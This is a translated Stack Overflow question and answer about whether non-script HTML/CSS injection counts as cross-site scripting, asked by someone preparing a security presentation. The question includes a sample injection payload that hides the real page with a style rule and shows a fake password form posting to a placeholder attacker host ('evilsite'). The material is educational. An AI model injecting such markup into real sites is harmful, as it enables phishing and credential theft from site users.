我正在制作有关网络安全的演示文稿，并准备展示一些基本的跨站点脚本示例。
有趣的是，在 Chrome 中处理这些示例时，我遇到了 Chrome 的 XSS 预防功能，它将检测是否正在执行请求中也存在的脚本；非常漂亮的功能。
由于我的示例故意写回以非转义格式提交的内容，因此我决定看看 Chrome 是否以相同的方式处理样式信息。在这种情况下，我能够提交结束标签和隐藏文档其余部分的样式元素，并用我的内容重写它。
我想知道的是:我所做的仍然算作跨站脚本吗，或者它被称为其他东西？它仍然是一种向页面注入(inject)内容以更改布局的攻击，并可能执行一些邪恶的操作，例如添加提交到攻击者站点的表单，但它并没有显式注入(inject)脚本。
我想确保我正确理解了这些内容的语义，并且这种情况似乎违背了显式调用 XSS 基于脚本的攻击的概念，除非它有自己的绰号。
提前致谢!
编辑:我将提供一个简单的示例来说明我正在谈论的内容
如果我有以下页面:
<html>
<body>
<h1 class="welcome">Welcome Fred!</h1>
</body>
</html>
术语“Fred”来自用户输入，如果不存在转义，我可以注入(inject):
<html>
<body>
<h1 class="welcome">Welcome
<!-- begin injected code -->
</h1>
<style>.welcome { visibility: hidden; display: none; }</style>
<h1>Please enter your password to continue</h1>
<form method="post" action="http://evilsite/hax">
<label for="password">Password:</label>
<input type="password" id="password" name="password" />
<input type="Submit" name="Submit" value="Submit">
</form>
<h1 class="welcome">
<!-- end injected code -->
!
</h1>
</body>
</html>
然后，该页面看起来像是合法网站要求用户提供密码，同时将其提交到攻击者的网站(并可能重定向到合法网站以使受害者不知情)。
它仍然具有与基于普通脚本的 XSS 攻击类似的意图，但不涉及脚本。
最佳答案
称此 XSS 是有先例的。如 Is a cross-domain attack via stylesheet possible? 中所述livejournal是第一个被广泛报道的基于 CSS 的 XSS 目标之一。
LiveJournal contains a flaw that allows a remote cross site scripting attack. This flaw exists because the application does not validate XML xsl namespace variables upon submission to the '/cgi-bin/cleanhtml.pl' script. This could allow a user to create a specially crafted URL that would execute arbitrary code in a user's browser within the trust relationship between the browser and the server, leading to a loss of integrity.
在这种情况下，术语“跨站点脚本”是合适的，因为攻击通过将脚本注入(inject)到站点中来升级特权，并通过相同的方式获得特权。 -原产地政策。脚本是否采用 JavaScript、CSS、HTML、URL 或某种其他类型的代码，与攻击是否应被描述为“XSS”无关。该决定是基于以下因素做出的:
- 攻击者是否导致代码在浏览器中运行？如果是这样，那就是脚本。
- 该代码是否在浏览器的同源策略下以该源所有者不打算授予的权限运行？如果是，则属于跨站。
编辑:
如果没有运行任何脚本，则不是跨站点脚本。也许内容注入(inject)或内容屏蔽是更合适的术语。
关于css - XSS/跨站脚本还包括 CSS 注入(inject)吗？，我们在Stack Overflow上找到一个类似的问题： https://stackoverflow.com/questions/9653136/